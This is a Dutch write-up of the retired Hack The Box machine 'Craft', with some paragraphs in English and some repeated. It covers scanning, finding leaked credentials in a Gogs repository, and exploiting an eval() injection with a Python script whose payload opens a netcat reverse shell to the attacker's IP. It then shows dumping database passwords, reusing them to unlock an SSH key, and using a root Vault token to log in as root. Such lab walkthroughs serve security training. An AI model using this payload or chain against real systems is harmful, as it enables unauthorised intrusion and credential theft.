Craft is met pensioen. Ik vond het heel leuk om het op te lossen. Het IP-adres is 10.10.10.110 en ik heb het toegevoegd aan / etc / hosts als craft.htb. Laten we meteen verder gaan!
Scan
root@kali:~/htb/craft# nmap -sV -O craft.htb -oN scan.txt Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-07 05:32 EST Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 50.00% done; ETC: 05:33 (0:00:12 remaining) Nmap scan report for craft.htb (10.10.10.110) Host is up (0.054s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) 443/tcp open ssl/http nginx 1.15.8 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=1/7%OT=22%CT=1%CU=38176%PV=Y%DS=2%DC=I%G=Y%TM=5E145E69 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=8)OPS( OS:O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11 OS:NW7%O6=M54BST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN( OS:R=Y%DF=Y%T=40%W=7210%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD= OS:S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 30.43 seconds
Poort 443 is open, wat betekent dat er een (waarschijnlijk) HTTPS-site op draait. Ik heb https: //craft.htb geopend in een browser:
In de rechterbovenhoek vond ik knoppen die me naar 2 verschillende subdomeinen brachten: api.craft.htb
en gogs.craft.htb
. Ik voegde deze toe aan /etc/hosts
Enumerating de 2 Sub-Domeinen
api.craft.htb
, was niet erg interessant, omdat er een API werd gehost die alleen toegankelijk was met geldige inloggegevens.
Voordat ik de API testte, wilde ik ervoor zorgen dat er niets eenvoudiger te exploiteren was gogs.craft.htb
.
Het bleek dat ik gelijk had. Er is een publiek toegankelijke repository die de broncode van de API bevat:
Bovendien was er een interessant “issue”:
Dinesh: Fix is live and seems to be working :) c414b16057 Gilfoyle: I fixed the database schema so this is not an issue now.. Can we remove that sorry excuse for a "patch" before something awful happens?
Ik heb de commit bekeken die de patch bevatte en zag meteen de kwetsbaarheid:
https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6
De ‘patch’ gebruikt eval () om te controleren of de ABV-waarde (wat dat ook was less) kleiner is dan 1. eval () mag nooit worden gebruikt voor gebruikersinvoer, omdat een kwaadwillende aanvaller deze kan gebruiken om RCE te behalen. Op dit moment wist ik dat ik een shell kon krijgen als ik een geldige gebruikersnaam / wachtwoord-combinatie had.
Credentials and ‘Shell As Root’
After I started looking for credentials, it wasn’t long before I found them. As it tuned out, Dinesh initially added a test script with his credentials:
https://gogs.craft.htb/Craft/craft-api/commit/10e3ba4f0a09c778d7cec673f28d410b73455a86
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
Nu ik geldige gegevens had, maakte ik een eenvoudig script dat een omgekeerde shell zou voortbrengen:
#!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } print("Spwaning a reverse shell on port 443...") brew_dict = {} brew_dict['abv'] = '__import__("os").system("nc 10.10.14.156 443 -e /bin/sh &") #' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print("Done!")
root@fury-battlestation:~/htb/blog/craft# nc -nvlp 443 listening on [any] 443 ... connect to [10.10.14.156] from (UNKNOWN) [10.10.10.110] 45619 python -c 'import pty; pty.spawn("/bin/sh")' /opt/app # whoami whoami root /opt/app # ls -lah /root ls -lah /root total 16 drwx------ 1 root root 4.0K Nov 10 11:16 . drwxr-xr-x 1 root root 4.0K Feb 10 2019 .. -rw------- 1 root root 21 Nov 10 11:16 .ash_history drwx------ 1 root root 4.0K Feb 9 2019 .cache /opt/app # ^[[24;12Rls -lah /home ls -lah /home total 8 drwxr-xr-x 2 root root 4.0K Jan 30 2019 . drwxr-xr-x 1 root root 4.0K Feb 10 2019 .. /opt/app # ^[[24;12R
De root
was een leugen! Het kostte me wat tijd, maar ik realiseerde me dat ik in een dokcontainer zat.
GOGS Credentials & User
Omdat ik me in de directory van de app bevond, las ik de inhoud van dbtest.py om de referenties voor de database te vinden:
#!/usr/bin/env python import pymysql from craft_api import settings # test connection to mysql database connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1" cursor.execute(sql) result = cursor.fetchone() print(result) finally: connection.close()
De inloggegevens zijn opgeslagen in craft_api / settings.py, dus ik heb de inhoud van dat bestand weergegeven:
# Flask settings FLASK_SERVER_NAME = 'api.craft.htb' FLASK_DEBUG = False # Do not use debug mode in production # Flask-Restplus settings RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list' RESTPLUS_VALIDATE = True RESTPLUS_MASK_SWAGGER = False RESTPLUS_ERROR_404_HELP = False CRAFT_API_SECRET = 'hz66OCkDtv8G6D' # database MYSQL_DATABASE_USER = 'craft' MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O' MYSQL_DATABASE_DB = 'craft' MYSQL_DATABASE_HOST = 'db' SQLALCHEMY_TRACK_MODIFICATIONS = False
Daarna heb ik verbinding gemaakt met de database om te zien of er inloggegevens zijn die ik zou kunnen gebruiken:
/opt/app # ^[[50;12Rpython python Python 3.6.8 (default, Feb 6 2019, 01:56:13) [GCC 8.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pymysql import pymysql >>> from craft_api import settings from craft_api import settings >>> connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor) connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, ... user=settings.MYSQL_DATABASE_USER, ... password=settings.MYSQL_DATABASE_PASSWORD, ... db=settings.MYSQL_DATABASE_DB, ... cursorclass=pymysql.cursors.DictCursor) >>> >>> def exec_sql(sql): cursor = connection.cursor() cursor.execute(sql) #result = cursor.fetchone() result = cursor.fetchall() print(result)def exec_sql(sql): ... cursor = connection.cursor() ... cursor.execute(sql) ... #result = cursor.fetchone() ... result = cursor.fetchall() ... print(result) ... >>> exec_sql("SHOW DATABASES;") exec_sql("SHOW DATABASES;") [{'Database': 'craft'}, {'Database': 'information_schema'}] >>> exec_sql("SHOW TABLES") exec_sql("SHOW TABLES") [{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}] >>> exec_sql("SELECT * FROM user") exec_sql("SELECT * FROM user") [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}] >>>
De database bevat de volgende gegevens:
dinesh 4aUh0A8PbVJxgd ebachman llJ77D8QFkLPQB gilfoyle ZEU3N8WNM2rh4T
Ik heb ze geprobeerd op SSH, maar ze werkten niet. Ze leken echter te werken op het GOGS-platform. Gilfoyle had nog een privérepository die interessant leek:
Ik klikte de .ssh
folder en zag de volgende ssh sleutels:
Deze 2 keys gedownload , en mbv chmod 600 op juiste ssh permissie ingesteld.
De sleutel is beveiligd met een wachtwoord. Gelukkig heeft Gilfoyle zijn GOGS hergebruikt passwoord, ZEU3N8WNM2rh4T
, dus ik had de mogelijkheid om verbinding te maken met de machine:
root@kali:~/htb/craft/ssh# ssh gilfoyle@craft.htb -i id_rsa The authenticity of host 'craft.htb (10.10.10.110)' can't be established. ECDSA key fingerprint is SHA256:sFjoHo6ersU0f0BTzabUkFYHOr6hBzWsSK0MK5dwYAw. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'craft.htb,10.10.10.110' (ECDSA) to the list of known hosts. . * .. . * * * * @()Ooc()* o . (Q@*0CG*O() ___ |\_________/|/ _ \ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \_| | | | | | |\___/ |\_|__|__|_/| \_________/ Enter passphrase for key 'id_rsa': ZEU3N8WNM2rh4T Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. gilfoyle@craft:~$ pwd /home/gilfoyle root@craft:/home/gilfoyle# cat user.txt bbf4b0cadfa3d4e6d0914c9cd5a612d4 gilfoyle@craft:~$
Root verkrijgen
Nadat ik de gebruikersvlag had gekregen, herinnerde ik me een interessante map in de privérepository met de naam kluis, dus ik checkte het uit:
Na wat te ggogelen vond ik de application’s website.
Basically, the system uses token to grant access to services across machines. I also found a file named .vault-token
in the user’s home directory, so I tried to see the token’s capabilities:
gilfoyle@craft:~$ cat ~/.vault-token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 gilfoyle@craft:~$ vault token capabilities f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 root gilfoyle@craft:~$
Kortom, het systeem gebruikt token om toegang te verlenen tot services op verschillende machines. Ik vond ook een bestand met de naam .vault-token in de thuismap van de gebruiker, dus ik probeerde de mogelijkheden van het token te bekijken:
gilfoyle@craft:~$ vault login -address=https://vault.craft.htb:8200 token=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run "vault login" again. Future Vault requests will automatically use this token. Key Value --- ----- token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103 token_duration ∞ token_renewable false token_policies ["root"] identity_policies [] policies ["root"] gilfoyle@craft:~$
Daarna heb ik verbinding gemaakt met SSH als root met behulp van de eenmalige wachtwoordoptie (OTP) van “Vault”:
gilfoyle@craft:~$ vault ssh -mode otp root@localhost WARNING: No -role specified. Use -role to tell Vault which ssh role to use for authentication. In the future, you will need to tell Vault which role to use. For now, Vault will attempt to guess based on the API response. This will be removed in the Vault 1.1. Vault SSH: Role: "root_otp" Vault could not locate "sshpass". The OTP code for the session is displayed below. Enter this code in the SSH password prompt. If you install sshpass, Vault can automatically perform this step for you. OTP for the session is: 308a5ffa-89c3-7625-4f53-a4fb1b1a1841 . * .. . * * * * @()Ooc()* o . (Q@*0CG*O() ___ |\_________/|/ _ \ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \_| | | | | | |\___/ |\_|__|__|_/| \_________/ Password: 308a5ffa-89c3-7625-4f53-a4fb1b1a1841 Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 27 04:53:14 2019 root@craft:~# pwd /root root@craft:~# cat root.txt 831d64ef54d92c1af795daae28a11591 root@craft:~#
Auteur : Jacco Straathof